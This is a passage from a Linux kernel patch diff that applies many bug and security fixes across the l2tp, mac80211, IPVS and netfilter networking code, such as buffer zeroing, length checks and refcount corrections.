queue_work(l2tp_wq, &tunnel->del_work)) { + l2tp_tunnel_dec_refcount(tunnel); + return 1; + } + return 0; } EXPORT_SYMBOL_GPL(l2tp_tunnel_delete); diff --git a/net/l2tp/l2tp_ip.c b/net/l2tp/l2tp_ip.c index da1a1cee1a088..07f8b97f9ae97 100644 --- a/net/l2tp/l2tp_ip.c +++ b/net/l2tp/l2tp_ip.c @@ -123,12 +123,11 @@ static int l2tp_ip_recv(struct sk_buff *skb) struct l2tp_tunnel *tunnel = NULL; int length; - /* Point to L2TP header */ - optr = ptr = skb->data; - if (!pskb_may_pull(skb, 4)) goto discard; + /* Point to L2TP header */ + optr = ptr = skb->data; session_id = ntohl(*((__be32 *) ptr)); ptr += 4; @@ -156,6 +155,9 @@ static int l2tp_ip_recv(struct sk_buff *skb) if (!pskb_may_pull(skb, length)) goto discard; + /* Point to L2TP header */ + optr = ptr = skb->data; + ptr += 4; pr_debug("%s: ip recv\n", tunnel->name); print_hex_dump_bytes("", DUMP_PREFIX_OFFSET, ptr, length); } diff --git a/net/l2tp/l2tp_ip6.c b/net/l2tp/l2tp_ip6.c index 3b61ddd6e4a67..eadfb3031ed28 100644 --- a/net/l2tp/l2tp_ip6.c +++ b/net/l2tp/l2tp_ip6.c @@ -135,12 +135,11 @@ static int l2tp_ip6_recv(struct sk_buff *skb) struct l2tp_tunnel *tunnel = NULL; int length; - /* Point to L2TP header */ - optr = ptr = skb->data; - if (!pskb_may_pull(skb, 4)) goto discard; + /* Point to L2TP header */ + optr = ptr = skb->data; session_id = ntohl(*((__be32 *) ptr)); ptr += 4; @@ -168,6 +167,9 @@ static int l2tp_ip6_recv(struct sk_buff *skb) if (!pskb_may_pull(skb, length)) goto discard; + /* Point to L2TP header */ + optr = ptr = skb->data; + ptr += 4; pr_debug("%s: ip recv\n", tunnel->name); print_hex_dump_bytes("", DUMP_PREFIX_OFFSET, ptr, length); } diff --git a/net/l2tp/l2tp_ppp.c b/net/l2tp/l2tp_ppp.c index 164fa9dcd97de..c3ae2411650c7 100644 --- a/net/l2tp/l2tp_ppp.c +++ b/net/l2tp/l2tp_ppp.c @@ -756,7 +756,8 @@ static int pppol2tp_connect(struct socket *sock, struct sockaddr *uservaddr, /* If PMTU discovery was enabled, use the MTU that was discovered */ dst = sk_dst_get(tunnel->sock); if (dst != NULL) { - u32 pmtu = dst_mtu(__sk_dst_get(tunnel->sock)); + u32 pmtu = dst_mtu(dst); + if (pmtu != 0) session->mtu = session->mru = pmtu - PPPOL2TP_HEADER_OVERHEAD; diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c index c3ee805470667..9d140594082c6 100644 --- a/net/llc/af_llc.c +++ b/net/llc/af_llc.c @@ -626,6 +626,7 @@ static void llc_cmsg_rcv(struct msghdr *msg, struct sk_buff *skb) if (llc->cmsg_flags & LLC_CMSG_PKTINFO) { struct llc_pktinfo info; + memset(&info, 0, sizeof(info)); info.lpi_ifindex = llc_sk(skb->sk)->dev->ifindex; llc_pdu_decode_dsap(skb, &info.lpi_sap); llc_pdu_decode_da(skb, info.lpi_mac); diff --git a/net/mac80211/agg-rx.c b/net/mac80211/agg-rx.c index 31bf2586fb84a..864408026202c 100644 --- a/net/mac80211/agg-rx.c +++ b/net/mac80211/agg-rx.c @@ -290,7 +290,7 @@ void ieee80211_process_addba_request(struct ieee80211_local *local, } /* prepare A-MPDU MLME for Rx aggregation */ - tid_agg_rx = kmalloc(sizeof(struct tid_ampdu_rx), GFP_KERNEL); + tid_agg_rx = kzalloc(sizeof(*tid_agg_rx), GFP_KERNEL); if (!tid_agg_rx) goto end; diff --git a/net/mac80211/debugfs_netdev.c b/net/mac80211/debugfs_netdev.c index 2d5b4f65c5194..32bafdbdfd668 100644 --- a/net/mac80211/debugfs_netdev.c +++ b/net/mac80211/debugfs_netdev.c @@ -697,6 +697,7 @@ void ieee80211_debugfs_remove_netdev(struct ieee80211_sub_if_data *sdata) debugfs_remove_recursive(sdata->vif.debugfs_dir); sdata->vif.debugfs_dir = NULL; + sdata->debugfs.subdir_stations = NULL; } void ieee80211_debugfs_rename_netdev(struct ieee80211_sub_if_data *sdata) diff --git a/net/mac80211/ieee80211_i.h b/net/mac80211/ieee80211_i.h index 845563b81a0f2..9f0ea9d8be73d 100644 --- a/net/mac80211/ieee80211_i.h +++ b/net/mac80211/ieee80211_i.h @@ -60,13 +60,24 @@ struct ieee80211_local; #define IEEE80211_UNSET_POWER_LEVEL INT_MIN /* - * Some APs experience problems when working with U-APSD. Decrease the - * probability of that happening by using legacy mode for all ACs but VO. - * The AP that caused us trouble was a Cisco 4410N. It ignores our - * setting, and always treats non-VO ACs as legacy. + * Some APs experience problems when working with U-APSD. Decreasing the + * probability of that happening by using legacy mode for all ACs but VO isn't + * enough. + * + * Cisco 4410N originally forced us to enable VO by default only because it + * treated non-VO ACs as legacy. + * + * However some APs (notably Netgear R7000) silently reclassify packets to + * different ACs. Since u-APSD ACs require trigger frames for frame retrieval + * clients would never see some frames (e.g. ARP responses) or would fetch them + * accidentally after a long time. + * + * It makes little sense to enable u-APSD queues by default because it needs + * userspace applications to be aware of it to actually take advantage of the + * possible additional powersavings. Implicitly depending on driver autotrigger + * frame support doesn't make much sense. */ -#define IEEE80211_DEFAULT_UAPSD_QUEUES \ - IEEE80211_WMM_IE_STA_QOSINFO_AC_VO +#define IEEE80211_DEFAULT_UAPSD_QUEUES 0 #define IEEE80211_DEFAULT_MAX_SP_LEN \ IEEE80211_WMM_IE_STA_QOSINFO_SP_ALL diff --git a/net/mac80211/key.c b/net/mac80211/key.c index 67059b88fea5f..635d0972b688c 100644 --- a/net/mac80211/key.c +++ b/net/mac80211/key.c @@ -607,7 +607,7 @@ void ieee80211_free_sta_keys(struct ieee80211_local *local, int i; mutex_lock(&local->key_mtx); - for (i = 0; i < NUM_DEFAULT_KEYS; i++) { + for (i = 0; i < ARRAY_SIZE(sta->gtk); i++) { key = key_mtx_dereference(local, sta->gtk[i]); if (!key) continue; diff --git a/net/mac80211/main.c b/net/mac80211/main.c index 6658c58093533..dd6ca36c34c1f 100644 --- a/net/mac80211/main.c +++ b/net/mac80211/main.c @@ -257,6 +257,7 @@ static void ieee80211_restart_work(struct work_struct *work) { struct ieee80211_local *local = container_of(work, struct ieee80211_local, restart_work); + struct ieee80211_sub_if_data *sdata; /* wait for scan work complete */ flush_workqueue(local->workqueue); @@ -269,6 +270,8 @@ static void ieee80211_restart_work(struct work_struct *work) mutex_unlock(&local->mtx); rtnl_lock(); + list_for_each_entry(sdata, &local->interfaces, list) + flush_delayed_work(&sdata->dec_tailroom_needed_wk); ieee80211_scan_cancel(local); ieee80211_reconfig(local); rtnl_unlock(); diff --git a/net/mac80211/mesh.c b/net/mac80211/mesh.c index 6952760881c8f..f8765cc84e473 100644 --- a/net/mac80211/mesh.c +++ b/net/mac80211/mesh.c @@ -161,6 +161,10 @@ void mesh_sta_cleanup(struct sta_info *sta) del_timer_sync(&sta->plink_timer); } + /* make sure no readers can access nexthop sta from here on */ + mesh_path_flush_by_nexthop(sta); + synchronize_net(); + if (changed) ieee80211_mbss_info_change_notify(sdata, changed); } diff --git a/net/mac80211/mesh_pathtbl.c b/net/mac80211/mesh_pathtbl.c index 89aacfd2756d6..9ba6d8c7c7932 100644 --- a/net/mac80211/mesh_pathtbl.c +++ b/net/mac80211/mesh_pathtbl.c @@ -747,10 +747,8 @@ void mesh_plink_broken(struct sta_info *sta) static void mesh_path_node_reclaim(struct rcu_head *rp) { struct mpath_node *node = container_of(rp, struct mpath_node, rcu); - struct ieee80211_sub_if_data *sdata = node->mpath->sdata; del_timer_sync(&node->mpath->timer); - atomic_dec(&sdata->u.mesh.mpaths); kfree(node->mpath); kfree(node); } @@ -758,8 +756,9 @@ static void mesh_path_node_reclaim(struct rcu_head *rp) /* needs to be called with the corresponding hashwlock taken */ static void __mesh_path_del(struct mesh_table *tbl, struct mpath_node *node) { - struct mesh_path *mpath; - mpath = node->mpath; + struct mesh_path *mpath = node->mpath; + struct ieee80211_sub_if_data *sdata = node->mpath->sdata; + spin_lock(&mpath->state_lock); mpath->flags |= MESH_PATH_RESOLVING; if (mpath->is_gate) @@ -767,6 +766,7 @@ static void __mesh_path_del(struct mesh_table *tbl, struct mpath_node *node) hlist_del_rcu(&node->list); call_rcu(&node->rcu, mesh_path_node_reclaim); spin_unlock(&mpath->state_lock); + atomic_dec(&sdata->u.mesh.mpaths); atomic_dec(&tbl->entries); } diff --git a/net/mac80211/mlme.c b/net/mac80211/mlme.c index fc94937cd7b35..952cb336d7040 100644 --- a/net/mac80211/mlme.c +++ b/net/mac80211/mlme.c @@ -3074,7 +3074,7 @@ ieee80211_rx_mgmt_beacon(struct ieee80211_sub_if_data *sdata, if (ifmgd->rssi_min_thold != ifmgd->rssi_max_thold && ifmgd->count_beacon_signal >= IEEE80211_SIGNAL_AVE_MIN_COUNT) { - int sig = ifmgd->ave_beacon_signal; + int sig = ifmgd->ave_beacon_signal / 16; int last_sig = ifmgd->last_ave_beacon_signal; /* @@ -4395,8 +4395,7 @@ int ieee80211_mgd_assoc(struct ieee80211_sub_if_data *sdata, rcu_read_unlock(); if (bss->wmm_used && bss->uapsd_supported && - (sdata->local->hw.flags & IEEE80211_HW_SUPPORTS_UAPSD) && - sdata->wmm_acm != 0xff) { + (sdata->local->hw.flags & IEEE80211_HW_SUPPORTS_UAPSD)) { assoc_data->uapsd = true; ifmgd->flags |= IEEE80211_STA_UAPSD_ENABLED; } else { diff --git a/net/mac80211/rate.c b/net/mac80211/rate.c index a02bef35b134e..d68d6cfac3b5a 100644 --- a/net/mac80211/rate.c +++ b/net/mac80211/rate.c @@ -448,7 +448,7 @@ static void rate_fixup_ratelist(struct ieee80211_vif *vif, */ if (!(rates[0].flags & IEEE80211_TX_RC_MCS)) { u32 basic_rates = vif->bss_conf.basic_rates; - s8 baserate = basic_rates ? ffs(basic_rates - 1) : 0; + s8 baserate = basic_rates ? ffs(basic_rates) - 1 : 0; rate = &sband->bitrates[rates[0].idx]; diff --git a/net/mac80211/rc80211_minstrel_ht.c b/net/mac80211/rc80211_minstrel_ht.c index f3bbea1eb9e73..13f10aab92139 100644 --- a/net/mac80211/rc80211_minstrel_ht.c +++ b/net/mac80211/rc80211_minstrel_ht.c @@ -454,7 +454,7 @@ minstrel_aggr_check(struct ieee80211_sta *pubsta, struct sk_buff *skb) if (skb_get_queue_mapping(skb) == IEEE80211_AC_VO) return; - ieee80211_start_tx_ba_session(pubsta, tid, 5000); + ieee80211_start_tx_ba_session(pubsta, tid, 0); } static void diff --git a/net/mac80211/rx.c b/net/mac80211/rx.c index fae73b0ef14b9..cd60be8d9aba5 100644 --- a/net/mac80211/rx.c +++ b/net/mac80211/rx.c @@ -1585,11 +1585,14 @@ ieee80211_rx_h_defragment(struct ieee80211_rx_data *rx) sc = le16_to_cpu(hdr->seq_ctrl); frag = sc & IEEE80211_SCTL_FRAG; - if (likely((!ieee80211_has_morefrags(fc) && frag == 0) || - is_multicast_ether_addr(hdr->addr1))) { - /* not fragmented */ - goto out; + if (is_multicast_ether_addr(hdr->addr1)) { + rx->local->dot11MulticastReceivedFrameCount++; + goto out_no_led; } + + if (likely(!ieee80211_has_morefrags(fc) && frag == 0)) + goto out; + I802_DEBUG_INC(rx->local->rx_handlers_fragments); if (skb_linearize(rx->skb)) @@ -1680,12 +1683,10 @@ ieee80211_rx_h_defragment(struct ieee80211_rx_data *rx) status->rx_flags |= IEEE80211_RX_FRAGMENTED; out: + ieee80211_led_rx(rx->local); + out_no_led: if (rx->sta) rx->sta->rx_packets++; - if (is_multicast_ether_addr(hdr->addr1)) - rx->local->dot11MulticastReceivedFrameCount++; - else - ieee80211_led_rx(rx->local); return RX_CONTINUE; } @@ -2022,6 +2023,9 @@ ieee80211_rx_h_mesh_fwding(struct ieee80211_rx_data *rx) hdr = (struct ieee80211_hdr *) skb->data; mesh_hdr = (struct ieee80211s_hdr *) (skb->data + hdrlen); + if (ieee80211_drop_unencrypted(rx, hdr->frame_control)) + return RX_DROP_MONITOR; + /* frame is in RMC, don't forward */ if (ieee80211_is_data(hdr->frame_control) && is_multicast_ether_addr(hdr->addr1) && diff --git a/net/mac80211/tx.c b/net/mac80211/tx.c index d566cdba24ecf..e960fbe9e2713 100644 --- a/net/mac80211/tx.c +++ b/net/mac80211/tx.c @@ -281,9 +281,6 @@ ieee80211_tx_h_check_assoc(struct ieee80211_tx_data *tx) if (tx->sdata->vif.type == NL80211_IFTYPE_WDS) return TX_CONTINUE; - if (tx->sdata->vif.type == NL80211_IFTYPE_MESH_POINT) - return TX_CONTINUE; - if (tx->flags & IEEE80211_TX_PS_BUFFERED) return TX_CONTINUE; @@ -398,6 +395,9 @@ ieee80211_tx_h_multicast_ps_buf(struct ieee80211_tx_data *tx) if (ieee80211_has_order(hdr->frame_control)) return TX_CONTINUE; + if (ieee80211_is_probe_req(hdr->frame_control)) + return TX_CONTINUE; + /* no stations in PS mode */ if (!atomic_read(&ps->num_sta_ps)) return TX_CONTINUE; @@ -447,6 +447,7 @@ ieee80211_tx_h_unicast_ps_buf(struct ieee80211_tx_data *tx) { struct sta_info *sta = tx->sta; struct ieee80211_tx_info *info = IEEE80211_SKB_CB(tx->skb); + struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)tx->skb->data; struct ieee80211_local *local = tx->local; if (unlikely(!sta)) @@ -457,6 +458,15 @@ ieee80211_tx_h_unicast_ps_buf(struct ieee80211_tx_data *tx) !(info->flags & IEEE80211_TX_CTL_NO_PS_BUFFER))) { int ac = skb_get_queue_mapping(tx->skb); + /* only deauth, disassoc and action are bufferable MMPDUs */ + if (ieee80211_is_mgmt(hdr->frame_control) && + !ieee80211_is_deauth(hdr->frame_control) && + !ieee80211_is_disassoc(hdr->frame_control) && + !ieee80211_is_action(hdr->frame_control)) { + info->flags |= IEEE80211_TX_CTL_NO_PS_BUFFER; + return TX_CONTINUE; + } + ps_dbg(sta->sdata, "STA %pM aid %d: PS buffer for AC %d\n", sta->sta.addr, sta->sta.aid, ac); if (tx->local->total_ps_buffered >= TOTAL_MAX_TX_BUFFER) @@ -514,22 +524,8 @@ ieee80211_tx_h_unicast_ps_buf(struct ieee80211_tx_data *tx) static ieee80211_tx_result debug_noinline ieee80211_tx_h_ps_buf(struct ieee80211_tx_data *tx) { - struct ieee80211_tx_info *info = IEEE80211_SKB_CB(tx->skb); - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)tx->skb->data; - if (unlikely(tx->flags & IEEE80211_TX_PS_BUFFERED)) return TX_CONTINUE; - - /* only deauth, disassoc and action are bufferable MMPDUs */ - if (ieee80211_is_mgmt(hdr->frame_control) && - !ieee80211_is_deauth(hdr->frame_control) && - !ieee80211_is_disassoc(hdr->frame_control) && - !ieee80211_is_action(hdr->frame_control)) { - if (tx->flags & IEEE80211_TX_UNICAST) - info->flags |= IEEE80211_TX_CTL_NO_PS_BUFFER; - return TX_CONTINUE; - } - if (tx->flags & IEEE80211_TX_UNICAST) return ieee80211_tx_h_unicast_ps_buf(tx); else diff --git a/net/netfilter/ipset/ip_set_core.c b/net/netfilter/ipset/ip_set_core.c index f771390079830..3b04dfd34554e 100644 --- a/net/netfilter/ipset/ip_set_core.c +++ b/net/netfilter/ipset/ip_set_core.c @@ -1754,6 +1754,12 @@ ip_set_sockfn_get(struct sock *sk, int optval, void __user *user, int *len) if (*op < IP_SET_OP_VERSION) { /* Check the version at the beginning of operations */ struct ip_set_req_version *req_version = data; + + if (*len < sizeof(struct ip_set_req_version)) { + ret = -EINVAL; + goto done; + } + if (req_version->version != IPSET_PROTOCOL) { ret = -EPROTO; goto done; diff --git a/net/netfilter/ipvs/ip_vs_conn.c b/net/netfilter/ipvs/ip_vs_conn.c index a083bda322b60..90e756cf6e524 100644 --- a/net/netfilter/ipvs/ip_vs_conn.c +++ b/net/netfilter/ipvs/ip_vs_conn.c @@ -797,7 +797,6 @@ static void ip_vs_conn_expire(unsigned long data) ip_vs_control_del(cp); if (cp->flags & IP_VS_CONN_F_NFCT) { - ip_vs_conn_drop_conntrack(cp); /* Do not access conntracks during subsys cleanup * because nf_conntrack_find_get can not be used after * conntrack cleanup for the net. diff --git a/net/netfilter/ipvs/ip_vs_core.c b/net/netfilter/ipvs/ip_vs_core.c index 663042e84e81a..1c6a71c41e62a 100644 --- a/net/netfilter/ipvs/ip_vs_core.c +++ b/net/netfilter/ipvs/ip_vs_core.c @@ -650,16 +650,24 @@ static inline int ip_vs_gather_frags(struct sk_buff *skb, u_int32_t user) return err; } -static int ip_vs_route_me_harder(int af, struct sk_buff *skb) +static int ip_vs_route_me_harder(int af, struct sk_buff *skb, + unsigned int hooknum) { + if (!sysctl_snat_reroute(skb)) + return 0; + /* Reroute replies only to remote clients (FORWARD and LOCAL_OUT) */ + if (NF_INET_LOCAL_IN == hooknum) + return 0; #ifdef CONFIG_IP_VS_IPV6 if (af == AF_INET6) { - if (sysctl_snat_reroute(skb) && ip6_route_me_harder(skb) != 0) + struct dst_entry *dst = skb_dst(skb); + + if (dst->dev && !(dst->dev->flags & IFF_LOOPBACK) && + ip6_route_me_harder(skb) != 0) return 1; } else #endif - if ((sysctl_snat_reroute(skb) || - skb_rtable(skb)->rt_flags & RTCF_LOCAL) && + if (!(skb_rtable(skb)->rt_flags & RTCF_LOCAL) && ip_route_me_harder(skb, RTN_LOCAL) != 0) return 1; @@ -782,7 +790,8 @@ static int handle_response_icmp(int af, struct sk_buff *skb, union nf_inet_addr *snet, __u8 protocol, struct ip_vs_conn *cp, struct ip_vs_protocol *pp, - unsigned int offset, unsigned int ihl) + unsigned int offset, unsigned int ihl, + unsigned int hooknum) { unsigned int verdict = NF_DROP; @@ -812,7 +821,7 @@ static int handle_response_icmp(int af, struct sk_buff *skb, #endif ip_vs_nat_icmp(skb, pp, cp, 1); - if (ip_vs_route_me_harder(af, skb)) + if (ip_vs_route_me_harder(af, skb, hooknum)) goto out; /* do the statistics and put it back */ @@ -907,7 +916,7 @@ static int ip_vs_out_icmp(struct sk_buff *skb, int *related, snet.ip = iph->saddr; return handle_response_icmp(AF_INET, skb, &snet, cih->protocol, cp, - pp, ciph.len, ihl); + pp, ciph.len, ihl, hooknum); } #ifdef CONFIG_IP_VS_IPV6 @@ -972,7 +981,8 @@ static int ip_vs_out_icmp_v6(struct sk_buff *skb, int *related, snet.in6 = ciph.saddr.in6; writable = ciph.len; return handle_response_icmp(AF_INET6, skb, &snet, ciph.protocol, cp, - pp, writable, sizeof(struct ipv6hdr)); + pp, writable, sizeof(struct ipv6hdr), + hooknum); } #endif @@ -1031,7 +1041,8 @@ static inline bool is_new_conn(const struct sk_buff *skb, */ static unsigned int handle_response(int af, struct sk_buff *skb, struct ip_vs_proto_data *pd, - struct ip_vs_conn *cp, struct ip_vs_iphdr *iph) + struct ip_vs_conn *cp, struct ip_vs_iphdr *iph, + unsigned int hooknum) { struct ip_vs_protocol *pp = pd->pp; @@ -1069,7 +1080,7 @@ handle_response(int af, struct sk_buff *skb, struct ip_vs_proto_data *pd, * if it came from this machine itself. So re-compute * the routing information. */ - if (ip_vs_route_me_harder(af, skb)) + if (ip_vs_route_me_harder(af, skb, hooknum)) goto drop; IP_VS_DBG_PKT(10, af, pp, skb, 0, "After SNAT"); @@ -1172,7 +1183,7 @@ ip_vs_out(unsigned int hooknum, struct sk_buff *skb, int af) cp = pp->conn_out_get(af, skb, &iph, 0); if (likely(cp)) - return handle_response(af, skb, pd, cp, &iph); + return handle_response(af, skb, pd, cp, &iph, hooknum); if (sysctl_nat_icmp_send(net) && (pp->protocol == IPPROTO_TCP || pp->protocol == IPPROTO_UDP || @@ -1898,7 +1909,7 @@ static struct nf_hook_ops ip_vs_ops[] __read_mostly = { { .hook = ip_vs_local_reply6, .owner = THIS_MODULE, - .pf = NFPROTO_IPV4, + .pf = NFPROTO_IPV6, .hooknum = NF_INET_LOCAL_OUT, .priority = NF_IP6_PRI_NAT_DST + 1, }, diff --git a/net/netfilter/ipvs/ip_vs_ftp.c b/net/netfilter/ipvs/ip_vs_ftp.c index 77c173282f388..4a662f15eaee8 100644 --- a/net/netfilter/ipvs/ip_vs_ftp.c +++ b/net/netfilter/ipvs/ip_vs_ftp.c @@ -183,6 +183,8 @@ static int ip_vs_ftp_out(struct ip_vs_app *app, struct ip_vs_conn *cp, struct nf_conn *ct; struct net *net; + *diff = 0; + #ifdef CONFIG_IP_VS_IPV6 /* This application helper doesn't work with IPv6 yet, * so turn this into a no-op for IPv6 packets @@ -191,8 +193,6 @@ static int ip_vs_ftp_out(struct ip_vs_app *app, struct ip_vs_conn *cp, return 1; #endif - *diff = 0; - /* Only useful for established sessions */ if (cp->state != IP_VS_TCP_S_ESTABLISHED) return 1; @@ -321,6 +321,9 @@ static int ip_vs_ftp_in(struct ip_vs_app *app, struct ip_vs_conn *cp, struct ip_vs_conn *n_cp; struct net *net; + /* no diff required for incoming packets */ + *diff = 0; + #ifdef CONFIG_IP_VS_IPV6 /* This application helper doesn't work with IPv6 yet, * so turn this into a no-op for IPv6 packets @@ -329,9 +332,6 @@ static int ip_vs_ftp_in(struct ip_vs_app *app, struct ip_vs_conn *cp, return 1; #endif - /* no diff required for incoming packets */ - *diff = 0; - /* Only useful for established sessions */ if (cp->state != IP_VS_TCP_S_ESTABLISHED) return 1; diff --git a/net/netfilter/ipvs/ip_vs_pe_sip.c b/net/netfilter/ipvs/ip_vs_pe_sip.c index bed5f7042529d..bb318e4623a3f 100644 --- a/net/netfilter/ipvs/ip_vs_pe_sip.c +++ b/net/netfilter/ipvs/ip_vs_pe_sip.c @@ -88,7 +88,7 @@ ip_vs_sip_fill_param(struct ip_vs_conn_param *p, struct sk_buff *skb) dptr = skb->data + dataoff; datalen = skb->len - dataoff; - if (get_callid(dptr, dataoff, datalen, &matchoff, &matchlen)) + if (get_callid(dptr, 0, datalen, &matchoff, &matchlen)) return -EINVAL; /* N.B: pe_data is only set on success, diff --git a/net/netfilter/ipvs/ip_vs_sync.c b/net/netfilter/ipvs/ip_vs_sync.c index f6046d9af8d32..19f9aa4e698a5 100644 --- a/net/netfilter/ipvs/ip_vs_sync.c +++ b/net/netfilter/ipvs/ip_vs_sync.c @@ -599,7 +599,7 @@ static void ip_vs_sync_conn_v0(struct net *net, struct ip_vs_conn *cp, pkts = atomic_add_return(1, &cp->in_pkts); else pkts = sysctl_sync_threshold(ipvs); - ip_vs_sync_conn(net, cp->control, pkts); + ip_vs_sync_conn(net, cp, pkts); } } @@ -878,6 +878,8 @@ static void ip_vs_proc_conn(struct net *net, struct ip_vs_conn_param *param, IP_VS_DBG(2, "BACKUP, add new conn. failed\n"); return; } + if (!(flags & IP_VS_CONN_F_TEMPLATE)) + kfree(param->pe_data); } if (opt) @@ -1151,6 +1153,7 @@ static inline int ip_vs_proc_sync_conn(struct net *net, __u8 *p, __u8 *msg_end) (opt_flags & IPVS_OPT_F_SEQ_DATA ? &opt : NULL) ); #endif + ip_vs_pe_put(param.pe); return 0; /* Error exit */ out: diff --git a/net/netfilter/ipvs/ip_vs_xmit.c b/net/netfilter/ipvs/ip_vs_xmit.c index c47444e4cf8cc..c3d204973dbc4 100644 --- a/net/netfilter/ipvs/ip_vs_xmit.c +++ b/net/netfilter/ipvs/ip_vs_xmit.c @@ -129,7 +129,6 @@ static struct rtable *do_output_route4(struct net *net, __be32 daddr, memset(&fl4, 0, sizeof(fl4)); fl4.daddr = daddr; - fl4.saddr = (rt_mode & IP_VS_RT_MODE_CONNECT) ? *saddr : 0; fl4.flowi4_flags = (rt_mode & IP_VS_RT_MODE_KNOWN_NH) ? FLOWI_FLAG_KNOWN_NH : 0; @@ -883,7 +882,7 @@ ip_vs_tunnel_xmit(struct sk_buff *skb, struct ip_vs_conn *cp, iph->daddr = cp->daddr.ip; iph->saddr = saddr; iph->ttl = old_iph->ttl; - ip_select_ident(skb, &rt->dst, NULL); + ip_select_ident(skb, NULL); /* Another hack: avoid icmp_send in ip_fragment */ skb->local_df = 1; @@ -967,8 +966,8 @@ ip_vs_tunnel_xmit_v6(struct sk_buff *skb, struct ip_vs_conn *cp, iph->nexthdr = IPPROTO_IPV6; iph->payload_len = old_iph->payload_len; be16_add_cpu(&iph->payload_len, sizeof(*old_iph)); - iph->priority = old_iph->priority; memset(&iph->flow_lbl, 0, sizeof(iph->flow_lbl)); + ipv6_change_dsfield(iph, 0, ipv6_get_dsfield(old_iph)); iph->daddr = cp->daddr.in6; iph->saddr = saddr; iph->hop_limit = old_iph->hop_limit; diff --git a/net/netfilter/nf_conntrack_core.c b/net/netfilter/nf_conntrack_core.c index 9832d54571ebf..6be17c56bc1ee 100644 --- a/net/netfilter/nf_conntrack_core.c +++ b/net/netfilter/nf_conntrack_core.c @@ -311,6 +311,21 @@ static void death_by_timeout(unsigned long ul_conntrack) nf_ct_put(ct); } +static inline bool +nf_ct_key_equal(struct nf_conntrack_tuple_hash *h, + const struct nf_conntrack_tuple *tuple, + u16 zone) +{ + struct nf_conn *ct = nf_ct_tuplehash_to_ctrack(h); + + /* A conntrack can be recreated with the equal tuple, + * so we need to check that the conntrack is confirmed + */ + return nf_ct_tuple_equal(tuple, &h->tuple) && + nf_ct_zone(ct) == zone && + nf_ct_is_confirmed(ct); +} + /* * Warning : * - Caller must take a reference on returned object @@ -332,8 +347,7 @@ ____nf_conntrack_find(struct net *net, u16 zone, local_bh_disable(); begin: hlist_nulls_for_each_entry_rcu(h, n, &net->ct.hash[bucket], hnnode) { - if (nf_ct_tuple_equal(tuple, &h->tuple) && - nf_ct_zone(nf_ct_tuplehash_to_ctrack(h)) == zone) { + if (nf_ct_key_equal(h, tuple, zone)) { NF_CT_STAT_INC(net, found); local_bh_enable(); return h; @@ -380,8 +394,7 @@ __nf_conntrack_find_get(struct net *net, u16 zone, !atomic_inc_not_zero(&ct->ct_general.use))) h = NULL; else { - if (unlikely(!nf_ct_tuple_equal(tuple, &h->tuple) || - nf_ct_zone(ct) != zone)) { + if (unlikely(!nf_ct_key_equal(h, tuple, zone))) { nf_ct_put(ct); goto begin; } diff --git a/net/netfilter/nf_conntrack_expect.c b/net/netfilter/nf_conntrack_expect.c index c63b618cd619e..95578da760d51 100644 --- a/net/netfilter/nf_conntrack_expect.c +++ b/net/netfilter/nf_conntrack_expect.c @@ -202,7 +202,8 @@ static inline int expect_clash(const struct nf_conntrack_expect *a, a->mask.src.u3.all[count] & b->mask.src.u3.all[count]; } - return nf_ct_tuple_mask_cmp(&a->tuple, &b->tuple, &intersect_mask); + return nf_ct_tuple_mask_cmp(&a->tuple, &b->tuple, &intersect_mask) && + nf_ct_zone(a->master) == nf_ct_zone(b->master); } static inline int expect_matches(const struct nf_conntrack_expect *a, diff --git a/net/netfilter/nf_conntrack_proto_tcp.c b/net/netfilter/nf_conntrack_proto_tcp.c index 4d4d8f1d01fcb..7dcc376eea5f9 100644 --- a/net/netfilter/nf_conntrack_proto_tcp.c +++ b/net/netfilter/nf_conntrack_proto_tcp.c @@ -1043,6 +1043,12 @@ static int tcp_packet(struct nf_conn *ct, nf_ct_kill_acct(ct, ctinfo, skb); return NF_ACCEPT; } + /* ESTABLISHED without SEEN_REPLY, i.e. mid-connection + * pickup with loose=1. Avoid large ESTABLISHED timeout. + */ + if (new_state == TCP_CONNTRACK_ESTABLISHED && + timeout > timeouts[TCP_CONNTRACK_UNACK]) + timeout = timeouts[TCP_CONNTRACK_UNACK]; } else if (!test_bit(IPS_ASSURED_BIT, &ct->status) && (old_state == TCP_CONNTRACK_SYN_RECV || old_state == TCP_CONNTRACK_ESTABLISHED) diff --git a/net/netfilter/nf_nat_core.c b/net/netfilter/nf_nat_core.c index 038eee5c8f854..2bb801e3ee8c4 100644 --- a/net/netfilter/nf_nat_core.c +++ b/net/netfilter/nf_nat_core.c @@ -487,6 +487,39 @@ static int nf_nat_proto_remove(struct nf_conn *i, void *data) return i->status & IPS_NAT_MASK ? 1 : 0; } +static int nf_nat_proto_clean(struct nf_conn *ct, void *data) +{ + struct nf_conn_nat *nat = nfct_nat(ct); + + if (nf_nat_proto_remove(ct, data)) + return 1; + + if (!nat || !nat->ct) + return 0; + + /* This netns is being destroyed, and conntrack has nat null binding. + * Remove it from bysource hash, as the table will be freed soon. + * + * Else, when the conntrack is destoyed, nf_nat_cleanup_conntrack() + * will delete entry from already-freed table. + */ + if (!del_timer(&ct->timeout)) + return 1; + + spin_lock_bh(&nf_nat_lock); + hlist_del_rcu(&nat->bysource); + ct->status &= ~IPS_NAT_DONE_MASK; + nat->ct = NULL; + spin_unlock_bh(&nf_nat_lock); + + add_timer(&ct->timeout); + + /* don't delete conntrack. Although that would make things a lot + * simpler, we'd end up flushing all conntracks on nat rmmod. + */ + return 0; +} + static void nf_nat_l4proto_clean(u8 l3proto, u8 l4proto) { struct nf_nat_proto_clean clean = { @@ -749,7 +782,7 @@ static void __net_exit nf_nat_net_exit(struct net *net) { struct nf_nat_proto_clean clean = {}; - nf_ct_iterate_cleanup(net, &nf_nat_proto_remove, &clean); + nf_ct_iterate_cleanup(net, nf_nat_proto_clean, &clean); synchronize_rcu(); nf_ct_free_hashtable(net->ct.nat_bysource, net->ct.nat_htable_size); } diff --git a/net/netfilter/nfnetlink_cthelper.c b/net/netfilter/nfnetlink_cthelper.c index a191b6db657e5..3b283edec0273 100644 --- a/net/netfilter/nfnetlink_cthelper.c +++ b/net/netfilter/nfnetlink_cthelper.c @@ -74,6 +74,9 @@ nfnl_cthelper_parse_tuple(struct nf_conntrack_tuple *tuple, if (!tb[NFCTH_TUPLE_L3PROTONUM] || !tb[NFCTH_TUPLE_L4PROTONUM]) return -EINVAL; + /* Not all fields are initialized so first zero the tuple */ + memset(tuple, 0, sizeof(struct 